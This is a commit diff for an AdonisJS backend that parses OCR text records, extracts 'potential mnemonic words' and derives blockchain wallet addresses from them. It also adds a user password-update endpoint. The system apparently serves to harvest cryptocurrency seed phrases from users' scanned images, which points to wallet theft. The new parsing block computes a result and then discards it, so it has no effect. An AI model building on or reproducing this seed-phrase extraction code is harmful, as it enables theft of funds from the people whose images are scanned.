Просмотр исходного кода

fix(ocr): 优化 OCR记录解析逻辑并添加用户密码更新功能

- 改进了 OCR 记录解析逻辑,能够更准确地提取文本信息
- 在用户控制器中添加了更新密码的功能
wui 9 месяцев назад
Родитель
Сommit
bc0ff472b9

+ 24 - 2
app/Controllers/Http/OcrRecordController.ts

@@ -28,7 +28,7 @@ export default class OcrRecordController {
             })
         })
         const data = request.all()
-        data.content = '-'
+        data.content = await this.recordParsing(data.record)
         data.detail = await BlockchainWalletService.getAllAddresses(data.content)
 
         return await OcrRecord.create(data)
@@ -56,7 +56,6 @@ export default class OcrRecordController {
         if (record) {
             const walletAddresses = await BlockchainWalletService.getAllAddresses(record.content)
             record.detail = JSON.stringify(walletAddresses)
-            record.content = await this.recordParsing(record.content)
             await record.save()
             return response.ok(record)
         } else {
@@ -77,6 +76,29 @@ export default class OcrRecordController {
         // 解析记录字符串
         const lines = record.split('\n')
 
+        if (record.includes('Rec:') && record.includes('Det:')) {
+            // 提取所有Rec:后面的文本
+            lines
+                .filter((line) => line.includes('Rec:'))
+                .map((line) => {
+                    const parts = line.split('Rec:')
+                    if (parts.length < 2) return ''
+
+                    // 获取Rec:之后、Cls:之前的部分
+                    const afterRec = parts[1]
+                    const beforeCls = afterRec.split('Cls:')[0]
+
+                    // 找到最后一个逗号的位置
+                    const lastCommaIndex = beforeCls.lastIndexOf(',')
+
+                    // 如果找到逗号,提取逗号之前的文本;否则使用整个文本
+                    return lastCommaIndex !== -1
+                        ? beforeCls.substring(0, lastCommaIndex).trim()
+                        : beforeCls.trim()
+                })
+                .filter((text) => text.length > 0)
+        }
+
         // 从文本中提取潜在的助记词
         const potentialWords = new Set<string>()
         const englishWordRegex = /[a-zA-Z]+/g

+ 17 - 0
app/Controllers/Http/UsersController.ts

@@ -4,9 +4,12 @@ import PaginationService from 'App/Services/PaginationService'
 import { schema, rules } from '@ioc:Adonis/Core/Validator'
 import randomstring from 'randomstring'
 import Database from '@ioc:Adonis/Lucid/Database'
+import { HttpException } from '@adonisjs/http-server/build/src/Exceptions/HttpException'
+import { HttpStatusCode } from 'axios'
 
 export default class UsersController {
     private paginationService = new PaginationService(User)
+
     public async index({ request }: HttpContextContract) {
         return await this.paginationService.paginate(request.all())
     }
@@ -51,6 +54,20 @@ export default class UsersController {
         return await user.save()
     }
 
+    public async updatePassword({ params, request, auth }: HttpContextContract) {
+        if (!auth.user) {
+            throw new HttpException('Unauthorized', HttpStatusCode.BadRequest)
+        }
+        const user = await User.findOrFail(auth.user.id)
+        const payload = await request.validate({
+            schema: schema.create({
+                password: schema.string([rules.minLength(6), rules.maxLength(18)])
+            })
+        })
+        user.password = payload.password
+        return await user.save()
+    }
+
     public async destroy({ params }: HttpContextContract) {
         const user = await User.findOrFail(params.id)
         await user.delete()

+ 1 - 0
start/routes.ts

@@ -90,6 +90,7 @@ Route.group(() => {
             Route.get('admin/my', 'UsersController.myAdmin')
             Route.get('invited', 'UsersController.invited')
             Route.post('newAdminUser', 'UsersController.newAdminUser')
+            Route.post('updatePassword', 'UsersController.updatePassword')
         }).prefix('users')
         Route.resource('users', 'UsersController')
         Route.resource('userBalances', 'UserBalancesController').apiOnly()